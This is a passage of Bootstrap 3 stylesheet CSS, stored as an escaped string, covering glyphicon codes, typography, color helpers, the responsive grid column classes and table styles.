content: \"\\e199\";\n}\n.glyphicon-tree-deciduous:before {\n content: \"\\e200\";\n}\n.glyphicon-cd:before {\n content: \"\\e201\";\n}\n.glyphicon-save-file:before {\n content: \"\\e202\";\n}\n.glyphicon-open-file:before {\n content: \"\\e203\";\n}\n.glyphicon-level-up:before {\n content: \"\\e204\";\n}\n.glyphicon-copy:before {\n content: \"\\e205\";\n}\n.glyphicon-paste:before {\n content: \"\\e206\";\n}\n.glyphicon-alert:before {\n content: \"\\e209\";\n}\n.glyphicon-equalizer:before {\n content: \"\\e210\";\n}\n.glyphicon-king:before {\n content: \"\\e211\";\n}\n.glyphicon-queen:before {\n content: \"\\e212\";\n}\n.glyphicon-pawn:before {\n content: \"\\e213\";\n}\n.glyphicon-bishop:before {\n content: \"\\e214\";\n}\n.glyphicon-knight:before {\n content: \"\\e215\";\n}\n.glyphicon-baby-formula:before {\n content: \"\\e216\";\n}\n.glyphicon-tent:before {\n content: \"\\26fa\";\n}\n.glyphicon-blackboard:before {\n content: \"\\e218\";\n}\n.glyphicon-bed:before {\n content: \"\\e219\";\n}\n.glyphicon-apple:before {\n content: \"\\f8ff\";\n}\n.glyphicon-erase:before {\n content: \"\\e221\";\n}\n.glyphicon-hourglass:before {\n content: \"\\231b\";\n}\n.glyphicon-lamp:before {\n content: \"\\e223\";\n}\n.glyphicon-duplicate:before {\n content: \"\\e224\";\n}\n.glyphicon-piggy-bank:before {\n content: \"\\e225\";\n}\n.glyphicon-scissors:before {\n content: \"\\e226\";\n}\n.glyphicon-bitcoin:before {\n content: \"\\e227\";\n}\n.glyphicon-btc:before {\n content: \"\\e227\";\n}\n.glyphicon-xbt:before {\n content: \"\\e227\";\n}\n.glyphicon-yen:before {\n content: \"\\00a5\";\n}\n.glyphicon-jpy:before {\n content: \"\\00a5\";\n}\n.glyphicon-ruble:before {\n content: \"\\20bd\";\n}\n.glyphicon-rub:before {\n content: \"\\20bd\";\n}\n.glyphicon-scale:before {\n content: \"\\e230\";\n}\n.glyphicon-ice-lolly:before {\n content: \"\\e231\";\n}\n.glyphicon-ice-lolly-tasted:before {\n content: \"\\e232\";\n}\n.glyphicon-education:before {\n content: \"\\e233\";\n}\n.glyphicon-option-horizontal:before {\n content: \"\\e234\";\n}\n.glyphicon-option-vertical:before {\n content: \"\\e235\";\n}\n.glyphicon-menu-hamburger:before {\n content: \"\\e236\";\n}\n.glyphicon-modal-window:before {\n content: \"\\e237\";\n}\n.glyphicon-oil:before {\n content: \"\\e238\";\n}\n.glyphicon-grain:before {\n content: \"\\e239\";\n}\n.glyphicon-sunglasses:before {\n content: \"\\e240\";\n}\n.glyphicon-text-size:before {\n content: \"\\e241\";\n}\n.glyphicon-text-color:before {\n content: \"\\e242\";\n}\n.glyphicon-text-background:before {\n content: \"\\e243\";\n}\n.glyphicon-object-align-top:before {\n content: \"\\e244\";\n}\n.glyphicon-object-align-bottom:before {\n content: \"\\e245\";\n}\n.glyphicon-object-align-horizontal:before {\n content: \"\\e246\";\n}\n.glyphicon-object-align-left:before {\n content: \"\\e247\";\n}\n.glyphicon-object-align-vertical:before {\n content: \"\\e248\";\n}\n.glyphicon-object-align-right:before {\n content: \"\\e249\";\n}\n.glyphicon-triangle-right:before {\n content: \"\\e250\";\n}\n.glyphicon-triangle-left:before {\n content: \"\\e251\";\n}\n.glyphicon-triangle-bottom:before {\n content: \"\\e252\";\n}\n.glyphicon-triangle-top:before {\n content: \"\\e253\";\n}\n.glyphicon-console:before {\n content: \"\\e254\";\n}\n.glyphicon-superscript:before {\n content: \"\\e255\";\n}\n.glyphicon-subscript:before {\n content: \"\\e256\";\n}\n.glyphicon-menu-left:before {\n content: \"\\e257\";\n}\n.glyphicon-menu-right:before {\n content: \"\\e258\";\n}\n.glyphicon-menu-down:before {\n content: \"\\e259\";\n}\n.glyphicon-menu-up:before {\n content: \"\\e260\";\n}\n* {\n -webkit-box-sizing: border-box;\n -moz-box-sizing: border-box;\n box-sizing: border-box;\n}\n*:before,\n*:after {\n -webkit-box-sizing: border-box;\n -moz-box-sizing: border-box;\n box-sizing: border-box;\n}\nhtml {\n font-size: 10px;\n -webkit-tap-highlight-color: rgba(0, 0, 0, 0);\n}\nbody {\n font-family: \"Helvetica Neue\", Helvetica, Arial, sans-serif;\n font-size: 14px;\n line-height: 1.42857143;\n color: #333333;\n background-color: #fff;\n}\ninput,\nbutton,\nselect,\ntextarea {\n font-family: inherit;\n font-size: inherit;\n line-height: inherit;\n}\na {\n color: #337ab7;\n text-decoration: none;\n}\na:hover,\na:focus {\n color: #23527c;\n text-decoration: underline;\n}\na:focus {\n outline: 5px auto -webkit-focus-ring-color;\n outline-offset: -2px;\n}\nfigure {\n margin: 0;\n}\nimg {\n vertical-align: middle;\n}\n.img-responsive,\n.thumbnail > img,\n.thumbnail a > img,\n.carousel-inner > .item > img,\n.carousel-inner > .item > a > img {\n display: block;\n max-width: 100%;\n height: auto;\n}\n.img-rounded {\n border-radius: 6px;\n}\n.img-thumbnail {\n padding: 4px;\n line-height: 1.42857143;\n background-color: #fff;\n border: 1px solid #ddd;\n border-radius: 4px;\n -webkit-transition: all 0.2s ease-in-out;\n -o-transition: all 0.2s ease-in-out;\n transition: all 0.2s ease-in-out;\n display: inline-block;\n max-width: 100%;\n height: auto;\n}\n.img-circle {\n border-radius: 50%;\n}\nhr {\n margin-top: 20px;\n margin-bottom: 20px;\n border: 0;\n border-top: 1px solid #eeeeee;\n}\n.sr-only {\n position: absolute;\n width: 1px;\n height: 1px;\n margin: -1px;\n padding: 0;\n overflow: hidden;\n clip: rect(0, 0, 0, 0);\n border: 0;\n}\n.sr-only-focusable:active,\n.sr-only-focusable:focus {\n position: static;\n width: auto;\n height: auto;\n margin: 0;\n overflow: visible;\n clip: auto;\n}\n[role=\"button\"] {\n cursor: pointer;\n}\nh1,\nh2,\nh3,\nh4,\nh5,\nh6,\n.h1,\n.h2,\n.h3,\n.h4,\n.h5,\n.h6 {\n font-family: inherit;\n font-weight: 500;\n line-height: 1.1;\n color: inherit;\n}\nh1 small,\nh2 small,\nh3 small,\nh4 small,\nh5 small,\nh6 small,\n.h1 small,\n.h2 small,\n.h3 small,\n.h4 small,\n.h5 small,\n.h6 small,\nh1 .small,\nh2 .small,\nh3 .small,\nh4 .small,\nh5 .small,\nh6 .small,\n.h1 .small,\n.h2 .small,\n.h3 .small,\n.h4 .small,\n.h5 .small,\n.h6 .small {\n font-weight: normal;\n line-height: 1;\n color: #777777;\n}\nh1,\n.h1,\nh2,\n.h2,\nh3,\n.h3 {\n margin-top: 20px;\n margin-bottom: 10px;\n}\nh1 small,\n.h1 small,\nh2 small,\n.h2 small,\nh3 small,\n.h3 small,\nh1 .small,\n.h1 .small,\nh2 .small,\n.h2 .small,\nh3 .small,\n.h3 .small {\n font-size: 65%;\n}\nh4,\n.h4,\nh5,\n.h5,\nh6,\n.h6 {\n margin-top: 10px;\n margin-bottom: 10px;\n}\nh4 small,\n.h4 small,\nh5 small,\n.h5 small,\nh6 small,\n.h6 small,\nh4 .small,\n.h4 .small,\nh5 .small,\n.h5 .small,\nh6 .small,\n.h6 .small {\n font-size: 75%;\n}\nh1,\n.h1 {\n font-size: 36px;\n}\nh2,\n.h2 {\n font-size: 30px;\n}\nh3,\n.h3 {\n font-size: 24px;\n}\nh4,\n.h4 {\n font-size: 18px;\n}\nh5,\n.h5 {\n font-size: 14px;\n}\nh6,\n.h6 {\n font-size: 12px;\n}\np {\n margin: 0 0 10px;\n}\n.lead {\n margin-bottom: 20px;\n font-size: 16px;\n font-weight: 300;\n line-height: 1.4;\n}\n@media (min-width: 768px) {\n .lead {\n font-size: 21px;\n }\n}\nsmall,\n.small {\n font-size: 85%;\n}\nmark,\n.mark {\n background-color: #fcf8e3;\n padding: .2em;\n}\n.text-left {\n text-align: left;\n}\n.text-right {\n text-align: right;\n}\n.text-center {\n text-align: center;\n}\n.text-justify {\n text-align: justify;\n}\n.text-nowrap {\n white-space: nowrap;\n}\n.text-lowercase {\n text-transform: lowercase;\n}\n.text-uppercase {\n text-transform: uppercase;\n}\n.text-capitalize {\n text-transform: capitalize;\n}\n.text-muted {\n color: #777777;\n}\n.text-primary {\n color: #337ab7;\n}\na.text-primary:hover,\na.text-primary:focus {\n color: #286090;\n}\n.text-success {\n color: #3c763d;\n}\na.text-success:hover,\na.text-success:focus {\n color: #2b542c;\n}\n.text-info {\n color: #31708f;\n}\na.text-info:hover,\na.text-info:focus {\n color: #245269;\n}\n.text-warning {\n color: #8a6d3b;\n}\na.text-warning:hover,\na.text-warning:focus {\n color: #66512c;\n}\n.text-danger {\n color: #a94442;\n}\na.text-danger:hover,\na.text-danger:focus {\n color: #843534;\n}\n.bg-primary {\n color: #fff;\n background-color: #337ab7;\n}\na.bg-primary:hover,\na.bg-primary:focus {\n background-color: #286090;\n}\n.bg-success {\n background-color: #dff0d8;\n}\na.bg-success:hover,\na.bg-success:focus {\n background-color: #c1e2b3;\n}\n.bg-info {\n background-color: #d9edf7;\n}\na.bg-info:hover,\na.bg-info:focus {\n background-color: #afd9ee;\n}\n.bg-warning {\n background-color: #fcf8e3;\n}\na.bg-warning:hover,\na.bg-warning:focus {\n background-color: #f7ecb5;\n}\n.bg-danger {\n background-color: #f2dede;\n}\na.bg-danger:hover,\na.bg-danger:focus {\n background-color: #e4b9b9;\n}\n.page-header {\n padding-bottom: 9px;\n margin: 40px 0 20px;\n border-bottom: 1px solid #eeeeee;\n}\nul,\nol {\n margin-top: 0;\n margin-bottom: 10px;\n}\nul ul,\nol ul,\nul ol,\nol ol {\n margin-bottom: 0;\n}\n.list-unstyled {\n padding-left: 0;\n list-style: none;\n}\n.list-inline {\n padding-left: 0;\n list-style: none;\n margin-left: -5px;\n}\n.list-inline > li {\n display: inline-block;\n padding-left: 5px;\n padding-right: 5px;\n}\ndl {\n margin-top: 0;\n margin-bottom: 20px;\n}\ndt,\ndd {\n line-height: 1.42857143;\n}\ndt {\n font-weight: bold;\n}\ndd {\n margin-left: 0;\n}\n@media (min-width: 768px) {\n .dl-horizontal dt {\n float: left;\n width: 160px;\n clear: left;\n text-align: right;\n overflow: hidden;\n text-overflow: ellipsis;\n white-space: nowrap;\n }\n .dl-horizontal dd {\n margin-left: 180px;\n }\n}\nabbr[title],\nabbr[data-original-title] {\n cursor: help;\n border-bottom: 1px dotted #777777;\n}\n.initialism {\n font-size: 90%;\n text-transform: uppercase;\n}\nblockquote {\n padding: 10px 20px;\n margin: 0 0 20px;\n font-size: 17.5px;\n border-left: 5px solid #eeeeee;\n}\nblockquote p:last-child,\nblockquote ul:last-child,\nblockquote ol:last-child {\n margin-bottom: 0;\n}\nblockquote footer,\nblockquote small,\nblockquote .small {\n display: block;\n font-size: 80%;\n line-height: 1.42857143;\n color: #777777;\n}\nblockquote footer:before,\nblockquote small:before,\nblockquote .small:before {\n content: '\\2014 \\00A0';\n}\n.blockquote-reverse,\nblockquote.pull-right {\n padding-right: 15px;\n padding-left: 0;\n border-right: 5px solid #eeeeee;\n border-left: 0;\n text-align: right;\n}\n.blockquote-reverse footer:before,\nblockquote.pull-right footer:before,\n.blockquote-reverse small:before,\nblockquote.pull-right small:before,\n.blockquote-reverse .small:before,\nblockquote.pull-right .small:before {\n content: '';\n}\n.blockquote-reverse footer:after,\nblockquote.pull-right footer:after,\n.blockquote-reverse small:after,\nblockquote.pull-right small:after,\n.blockquote-reverse .small:after,\nblockquote.pull-right .small:after {\n content: '\\00A0 \\2014';\n}\naddress {\n margin-bottom: 20px;\n font-style: normal;\n line-height: 1.42857143;\n}\ncode,\nkbd,\npre,\nsamp {\n font-family: Menlo, Monaco, Consolas, \"Courier New\", monospace;\n}\ncode {\n padding: 2px 4px;\n font-size: 90%;\n color: #c7254e;\n background-color: #f9f2f4;\n border-radius: 4px;\n}\nkbd {\n padding: 2px 4px;\n font-size: 90%;\n color: #fff;\n background-color: #333;\n border-radius: 3px;\n box-shadow: inset 0 -1px 0 rgba(0, 0, 0, 0.25);\n}\nkbd kbd {\n padding: 0;\n font-size: 100%;\n font-weight: bold;\n box-shadow: none;\n}\npre {\n display: block;\n padding: 9.5px;\n margin: 0 0 10px;\n font-size: 13px;\n line-height: 1.42857143;\n word-break: break-all;\n word-wrap: break-word;\n color: #333333;\n background-color: #f5f5f5;\n border: 1px solid #ccc;\n border-radius: 4px;\n}\npre code {\n padding: 0;\n font-size: inherit;\n color: inherit;\n white-space: pre-wrap;\n background-color: transparent;\n border-radius: 0;\n}\n.pre-scrollable {\n max-height: 340px;\n overflow-y: scroll;\n}\n.container {\n margin-right: auto;\n margin-left: auto;\n padding-left: 15px;\n padding-right: 15px;\n}\n@media (min-width: 768px) {\n .container {\n width: 750px;\n }\n}\n@media (min-width: 992px) {\n .container {\n width: 970px;\n }\n}\n@media (min-width: 1200px) {\n .container {\n width: 1170px;\n }\n}\n.container-fluid {\n margin-right: auto;\n margin-left: auto;\n padding-left: 15px;\n padding-right: 15px;\n}\n.row {\n margin-left: -15px;\n margin-right: -15px;\n}\n.col-xs-1, .col-sm-1, .col-md-1, .col-lg-1, .col-xs-2, .col-sm-2, .col-md-2, .col-lg-2, .col-xs-3, .col-sm-3, .col-md-3, .col-lg-3, .col-xs-4, .col-sm-4, .col-md-4, .col-lg-4, .col-xs-5, .col-sm-5, .col-md-5, .col-lg-5, .col-xs-6, .col-sm-6, .col-md-6, .col-lg-6, .col-xs-7, .col-sm-7, .col-md-7, .col-lg-7, .col-xs-8, .col-sm-8, .col-md-8, .col-lg-8, .col-xs-9, .col-sm-9, .col-md-9, .col-lg-9, .col-xs-10, .col-sm-10, .col-md-10, .col-lg-10, .col-xs-11, .col-sm-11, .col-md-11, .col-lg-11, .col-xs-12, .col-sm-12, .col-md-12, .col-lg-12 {\n position: relative;\n min-height: 1px;\n padding-left: 15px;\n padding-right: 15px;\n}\n.col-xs-1, .col-xs-2, .col-xs-3, .col-xs-4, .col-xs-5, .col-xs-6, .col-xs-7, .col-xs-8, .col-xs-9, .col-xs-10, .col-xs-11, .col-xs-12 {\n float: left;\n}\n.col-xs-12 {\n width: 100%;\n}\n.col-xs-11 {\n width: 91.66666667%;\n}\n.col-xs-10 {\n width: 83.33333333%;\n}\n.col-xs-9 {\n width: 75%;\n}\n.col-xs-8 {\n width: 66.66666667%;\n}\n.col-xs-7 {\n width: 58.33333333%;\n}\n.col-xs-6 {\n width: 50%;\n}\n.col-xs-5 {\n width: 41.66666667%;\n}\n.col-xs-4 {\n width: 33.33333333%;\n}\n.col-xs-3 {\n width: 25%;\n}\n.col-xs-2 {\n width: 16.66666667%;\n}\n.col-xs-1 {\n width: 8.33333333%;\n}\n.col-xs-pull-12 {\n right: 100%;\n}\n.col-xs-pull-11 {\n right: 91.66666667%;\n}\n.col-xs-pull-10 {\n right: 83.33333333%;\n}\n.col-xs-pull-9 {\n right: 75%;\n}\n.col-xs-pull-8 {\n right: 66.66666667%;\n}\n.col-xs-pull-7 {\n right: 58.33333333%;\n}\n.col-xs-pull-6 {\n right: 50%;\n}\n.col-xs-pull-5 {\n right: 41.66666667%;\n}\n.col-xs-pull-4 {\n right: 33.33333333%;\n}\n.col-xs-pull-3 {\n right: 25%;\n}\n.col-xs-pull-2 {\n right: 16.66666667%;\n}\n.col-xs-pull-1 {\n right: 8.33333333%;\n}\n.col-xs-pull-0 {\n right: auto;\n}\n.col-xs-push-12 {\n left: 100%;\n}\n.col-xs-push-11 {\n left: 91.66666667%;\n}\n.col-xs-push-10 {\n left: 83.33333333%;\n}\n.col-xs-push-9 {\n left: 75%;\n}\n.col-xs-push-8 {\n left: 66.66666667%;\n}\n.col-xs-push-7 {\n left: 58.33333333%;\n}\n.col-xs-push-6 {\n left: 50%;\n}\n.col-xs-push-5 {\n left: 41.66666667%;\n}\n.col-xs-push-4 {\n left: 33.33333333%;\n}\n.col-xs-push-3 {\n left: 25%;\n}\n.col-xs-push-2 {\n left: 16.66666667%;\n}\n.col-xs-push-1 {\n left: 8.33333333%;\n}\n.col-xs-push-0 {\n left: auto;\n}\n.col-xs-offset-12 {\n margin-left: 100%;\n}\n.col-xs-offset-11 {\n margin-left: 91.66666667%;\n}\n.col-xs-offset-10 {\n margin-left: 83.33333333%;\n}\n.col-xs-offset-9 {\n margin-left: 75%;\n}\n.col-xs-offset-8 {\n margin-left: 66.66666667%;\n}\n.col-xs-offset-7 {\n margin-left: 58.33333333%;\n}\n.col-xs-offset-6 {\n margin-left: 50%;\n}\n.col-xs-offset-5 {\n margin-left: 41.66666667%;\n}\n.col-xs-offset-4 {\n margin-left: 33.33333333%;\n}\n.col-xs-offset-3 {\n margin-left: 25%;\n}\n.col-xs-offset-2 {\n margin-left: 16.66666667%;\n}\n.col-xs-offset-1 {\n margin-left: 8.33333333%;\n}\n.col-xs-offset-0 {\n margin-left: 0%;\n}\n@media (min-width: 768px) {\n .col-sm-1, .col-sm-2, .col-sm-3, .col-sm-4, .col-sm-5, .col-sm-6, .col-sm-7, .col-sm-8, .col-sm-9, .col-sm-10, .col-sm-11, .col-sm-12 {\n float: left;\n }\n .col-sm-12 {\n width: 100%;\n }\n .col-sm-11 {\n width: 91.66666667%;\n }\n .col-sm-10 {\n width: 83.33333333%;\n }\n .col-sm-9 {\n width: 75%;\n }\n .col-sm-8 {\n width: 66.66666667%;\n }\n .col-sm-7 {\n width: 58.33333333%;\n }\n .col-sm-6 {\n width: 50%;\n }\n .col-sm-5 {\n width: 41.66666667%;\n }\n .col-sm-4 {\n width: 33.33333333%;\n }\n .col-sm-3 {\n width: 25%;\n }\n .col-sm-2 {\n width: 16.66666667%;\n }\n .col-sm-1 {\n width: 8.33333333%;\n }\n .col-sm-pull-12 {\n right: 100%;\n }\n .col-sm-pull-11 {\n right: 91.66666667%;\n }\n .col-sm-pull-10 {\n right: 83.33333333%;\n }\n .col-sm-pull-9 {\n right: 75%;\n }\n .col-sm-pull-8 {\n right: 66.66666667%;\n }\n .col-sm-pull-7 {\n right: 58.33333333%;\n }\n .col-sm-pull-6 {\n right: 50%;\n }\n .col-sm-pull-5 {\n right: 41.66666667%;\n }\n .col-sm-pull-4 {\n right: 33.33333333%;\n }\n .col-sm-pull-3 {\n right: 25%;\n }\n .col-sm-pull-2 {\n right: 16.66666667%;\n }\n .col-sm-pull-1 {\n right: 8.33333333%;\n }\n .col-sm-pull-0 {\n right: auto;\n }\n .col-sm-push-12 {\n left: 100%;\n }\n .col-sm-push-11 {\n left: 91.66666667%;\n }\n .col-sm-push-10 {\n left: 83.33333333%;\n }\n .col-sm-push-9 {\n left: 75%;\n }\n .col-sm-push-8 {\n left: 66.66666667%;\n }\n .col-sm-push-7 {\n left: 58.33333333%;\n }\n .col-sm-push-6 {\n left: 50%;\n }\n .col-sm-push-5 {\n left: 41.66666667%;\n }\n .col-sm-push-4 {\n left: 33.33333333%;\n }\n .col-sm-push-3 {\n left: 25%;\n }\n .col-sm-push-2 {\n left: 16.66666667%;\n }\n .col-sm-push-1 {\n left: 8.33333333%;\n }\n .col-sm-push-0 {\n left: auto;\n }\n .col-sm-offset-12 {\n margin-left: 100%;\n }\n .col-sm-offset-11 {\n margin-left: 91.66666667%;\n }\n .col-sm-offset-10 {\n margin-left: 83.33333333%;\n }\n .col-sm-offset-9 {\n margin-left: 75%;\n }\n .col-sm-offset-8 {\n margin-left: 66.66666667%;\n }\n .col-sm-offset-7 {\n margin-left: 58.33333333%;\n }\n .col-sm-offset-6 {\n margin-left: 50%;\n }\n .col-sm-offset-5 {\n margin-left: 41.66666667%;\n }\n .col-sm-offset-4 {\n margin-left: 33.33333333%;\n }\n .col-sm-offset-3 {\n margin-left: 25%;\n }\n .col-sm-offset-2 {\n margin-left: 16.66666667%;\n }\n .col-sm-offset-1 {\n margin-left: 8.33333333%;\n }\n .col-sm-offset-0 {\n margin-left: 0%;\n }\n}\n@media (min-width: 992px) {\n .col-md-1, .col-md-2, .col-md-3, .col-md-4, .col-md-5, .col-md-6, .col-md-7, .col-md-8, .col-md-9, .col-md-10, .col-md-11, .col-md-12 {\n float: left;\n }\n .col-md-12 {\n width: 100%;\n }\n .col-md-11 {\n width: 91.66666667%;\n }\n .col-md-10 {\n width: 83.33333333%;\n }\n .col-md-9 {\n width: 75%;\n }\n .col-md-8 {\n width: 66.66666667%;\n }\n .col-md-7 {\n width: 58.33333333%;\n }\n .col-md-6 {\n width: 50%;\n }\n .col-md-5 {\n width: 41.66666667%;\n }\n .col-md-4 {\n width: 33.33333333%;\n }\n .col-md-3 {\n width: 25%;\n }\n .col-md-2 {\n width: 16.66666667%;\n }\n .col-md-1 {\n width: 8.33333333%;\n }\n .col-md-pull-12 {\n right: 100%;\n }\n .col-md-pull-11 {\n right: 91.66666667%;\n }\n .col-md-pull-10 {\n right: 83.33333333%;\n }\n .col-md-pull-9 {\n right: 75%;\n }\n .col-md-pull-8 {\n right: 66.66666667%;\n }\n .col-md-pull-7 {\n right: 58.33333333%;\n }\n .col-md-pull-6 {\n right: 50%;\n }\n .col-md-pull-5 {\n right: 41.66666667%;\n }\n .col-md-pull-4 {\n right: 33.33333333%;\n }\n .col-md-pull-3 {\n right: 25%;\n }\n .col-md-pull-2 {\n right: 16.66666667%;\n }\n .col-md-pull-1 {\n right: 8.33333333%;\n }\n .col-md-pull-0 {\n right: auto;\n }\n .col-md-push-12 {\n left: 100%;\n }\n .col-md-push-11 {\n left: 91.66666667%;\n }\n .col-md-push-10 {\n left: 83.33333333%;\n }\n .col-md-push-9 {\n left: 75%;\n }\n .col-md-push-8 {\n left: 66.66666667%;\n }\n .col-md-push-7 {\n left: 58.33333333%;\n }\n .col-md-push-6 {\n left: 50%;\n }\n .col-md-push-5 {\n left: 41.66666667%;\n }\n .col-md-push-4 {\n left: 33.33333333%;\n }\n .col-md-push-3 {\n left: 25%;\n }\n .col-md-push-2 {\n left: 16.66666667%;\n }\n .col-md-push-1 {\n left: 8.33333333%;\n }\n .col-md-push-0 {\n left: auto;\n }\n .col-md-offset-12 {\n margin-left: 100%;\n }\n .col-md-offset-11 {\n margin-left: 91.66666667%;\n }\n .col-md-offset-10 {\n margin-left: 83.33333333%;\n }\n .col-md-offset-9 {\n margin-left: 75%;\n }\n .col-md-offset-8 {\n margin-left: 66.66666667%;\n }\n .col-md-offset-7 {\n margin-left: 58.33333333%;\n }\n .col-md-offset-6 {\n margin-left: 50%;\n }\n .col-md-offset-5 {\n margin-left: 41.66666667%;\n }\n .col-md-offset-4 {\n margin-left: 33.33333333%;\n }\n .col-md-offset-3 {\n margin-left: 25%;\n }\n .col-md-offset-2 {\n margin-left: 16.66666667%;\n }\n .col-md-offset-1 {\n margin-left: 8.33333333%;\n }\n .col-md-offset-0 {\n margin-left: 0%;\n }\n}\n@media (min-width: 1200px) {\n .col-lg-1, .col-lg-2, .col-lg-3, .col-lg-4, .col-lg-5, .col-lg-6, .col-lg-7, .col-lg-8, .col-lg-9, .col-lg-10, .col-lg-11, .col-lg-12 {\n float: left;\n }\n .col-lg-12 {\n width: 100%;\n }\n .col-lg-11 {\n width: 91.66666667%;\n }\n .col-lg-10 {\n width: 83.33333333%;\n }\n .col-lg-9 {\n width: 75%;\n }\n .col-lg-8 {\n width: 66.66666667%;\n }\n .col-lg-7 {\n width: 58.33333333%;\n }\n .col-lg-6 {\n width: 50%;\n }\n .col-lg-5 {\n width: 41.66666667%;\n }\n .col-lg-4 {\n width: 33.33333333%;\n }\n .col-lg-3 {\n width: 25%;\n }\n .col-lg-2 {\n width: 16.66666667%;\n }\n .col-lg-1 {\n width: 8.33333333%;\n }\n .col-lg-pull-12 {\n right: 100%;\n }\n .col-lg-pull-11 {\n right: 91.66666667%;\n }\n .col-lg-pull-10 {\n right: 83.33333333%;\n }\n .col-lg-pull-9 {\n right: 75%;\n }\n .col-lg-pull-8 {\n right: 66.66666667%;\n }\n .col-lg-pull-7 {\n right: 58.33333333%;\n }\n .col-lg-pull-6 {\n right: 50%;\n }\n .col-lg-pull-5 {\n right: 41.66666667%;\n }\n .col-lg-pull-4 {\n right: 33.33333333%;\n }\n .col-lg-pull-3 {\n right: 25%;\n }\n .col-lg-pull-2 {\n right: 16.66666667%;\n }\n .col-lg-pull-1 {\n right: 8.33333333%;\n }\n .col-lg-pull-0 {\n right: auto;\n }\n .col-lg-push-12 {\n left: 100%;\n }\n .col-lg-push-11 {\n left: 91.66666667%;\n }\n .col-lg-push-10 {\n left: 83.33333333%;\n }\n .col-lg-push-9 {\n left: 75%;\n }\n .col-lg-push-8 {\n left: 66.66666667%;\n }\n .col-lg-push-7 {\n left: 58.33333333%;\n }\n .col-lg-push-6 {\n left: 50%;\n }\n .col-lg-push-5 {\n left: 41.66666667%;\n }\n .col-lg-push-4 {\n left: 33.33333333%;\n }\n .col-lg-push-3 {\n left: 25%;\n }\n .col-lg-push-2 {\n left: 16.66666667%;\n }\n .col-lg-push-1 {\n left: 8.33333333%;\n }\n .col-lg-push-0 {\n left: auto;\n }\n .col-lg-offset-12 {\n margin-left: 100%;\n }\n .col-lg-offset-11 {\n margin-left: 91.66666667%;\n }\n .col-lg-offset-10 {\n margin-left: 83.33333333%;\n }\n .col-lg-offset-9 {\n margin-left: 75%;\n }\n .col-lg-offset-8 {\n margin-left: 66.66666667%;\n }\n .col-lg-offset-7 {\n margin-left: 58.33333333%;\n }\n .col-lg-offset-6 {\n margin-left: 50%;\n }\n .col-lg-offset-5 {\n margin-left: 41.66666667%;\n }\n .col-lg-offset-4 {\n margin-left: 33.33333333%;\n }\n .col-lg-offset-3 {\n margin-left: 25%;\n }\n .col-lg-offset-2 {\n margin-left: 16.66666667%;\n }\n .col-lg-offset-1 {\n margin-left: 8.33333333%;\n }\n .col-lg-offset-0 {\n margin-left: 0%;\n }\n}\ntable {\n background-color: transparent;\n}\ncaption {\n padding-top: 8px;\n padding-bottom: 8px;\n color: #777777;\n text-align: left;\n}\nth {\n text-align: left;\n}\n.table {\n width: 100%;\n max-width: 100%;\n margin-bottom: 20px;\n}\n.table > thead > tr > th,\n.table > tbody > tr > th,\n.table > tfoot > tr > th,\n.table > thead > tr > td,\n.table > tbody > tr > td,\n.table > tfoot > tr > td {\n padding: 8px;\n line-height: 1.42857143;\n vertical-align: top;\n border-top: 1px solid #ddd;\n}\n.table > thead > tr > th {\n vertical-align: bottom;\n border-bottom: 2px solid #ddd;\n}\n.table > caption + thead > tr:first-child > th,\n.table > colgroup + thead > tr:first-child > th,\n.table > thead:first-child > tr:first-child > th,\n.table > caption + thead > tr:first-child > td,\n.table > colgroup + thead > tr:first-child > td,\n.table > thead:first-child > tr:first-child > td {\n border-top: 0;\n}\n.table > tbody + tbody {\n border-top: 2px solid #ddd;\n}\n.table .table {\n background-color: #fff;\n}\n.table-condensed > thead > tr > th,\n.table-condensed > tbody > tr > th,\n.table-condensed > tfoot > tr > th,\n.table-condensed > thead > tr > td,\n.table-condensed > tbody > tr > td,\n.table-condensed > tfoot > tr > td {\n padding: 5px;\n}\n.table-bordered {\n border: 1px solid #ddd;\n}\n.table-bordered > thead > tr > th,\n.table-bordered > tbody > tr > th,\n.table-bordered > tfoot > tr > th,\n.table-bordered > thead > tr > td,\n.table-bordered > tbody > tr > td,\n.table-bordered > tfoot > tr > td {\n border: 1px solid #ddd;\n}\n.table-bordered > thead > tr > th,\n.table-bordered > thead > tr > td {\n border-bottom-width: 2px;\n}\n.table-striped > tbody > tr:nth-of-type(odd) {\n background-color: #f9f9f9;\n}\n.table-hover > tbody > tr:hover {\n background-color: #f5f5f5;\n}\ntable col[class*=\"col-\"] {\n position: static;\n float: none;\n display: table-column;\n}\ntable td[class*=\"col-\"],\ntable th[class*=\"col-\"] {\n position: static;\n float: none;\n display: table-cell;\n}\n.table > thead > tr > td.active,\n.table > tbody > tr > td.active,\n.table > tfoot > tr > td.active,\n.table > thead > tr > th.active,\n.table > tbody > tr > th.active,\n.table > tfoot > tr > th.active,\n.table > thead > tr.active > td,\n.table > tbody > tr.active > td,\n.table > tfoot > tr.active > td,\n.table > thead > tr.active > th,\n.table > tbody > tr.active > th,\n.table > tfoot > tr.active > th {\n background-color: #f5f5f5;\n}\n.table-hover > tbody > tr > td.active:hover,\n.table-hover > tbody > tr > th.active:hover,\n.table-hover > tbody > tr.active:hover > td,\n.table-hover > tbody > tr:hover > .active,\n.table-hover > tbody > tr.active:hover > th {\n background-color: #e8e8e8;\n}\n.table > thead > tr > td.success,\n.table > tbody > tr > td.success,\n.table > tfoot > tr > td.success,\n.table > thead > tr > th.success,\n.table > tbody > tr > th.success,\n.table > tfoot > tr > th.success,\n.table > thead > tr.success > td,\n.table > tbody > tr.success > td,\n.table > tfoot > tr.success > td,\n.table > thead > tr.success > th,\n.table > tbody > tr.success > th,\n.table > tfoot > tr.success > th {\n background-color: #dff0d8;\n}\n.table-hover > tbody > tr > td.success:hover,\n.table-hover > tbody > tr > th.success:hover,\n.table-hover > tbody > tr.success:hover > td,\n.table-hover > tbody > tr:hover > .success,\n.table-hover > tbody > tr.success:hover > th {\n background-color: #d0e9c6;\n}\n.table > thead > tr > td.info,\n.table > tbody > tr > td.info,\n.table > tfoot > tr > td.info,\n.table > thead > tr > th.info,\n.table > tbody > tr > th.info,\n.table > tfoot > tr > th.info,\n.table > thead > tr.info > td,\n.table > tbody > tr.info > td,\n.table > tfoot > tr.info > td,\n.table > thead > tr.info > th,\n.table > tbody > tr.info > th,\n.table > tfoot > tr.info > th {\n background-color: #d9edf7;\n}\n.table-hover > tbody > tr > td.info:hover,\n.table-hover > tbody > tr > th.info:hover,\n.table-hover > tbody > tr.info:hover > td,\n.table-hover > tbody > tr:hover > .info,\n.table-hover > tbody > tr.info:hover > th {\n background-color: #c4e3f3;\n}\n.table > thead > tr > td.warning,\n.table > tbody > tr > 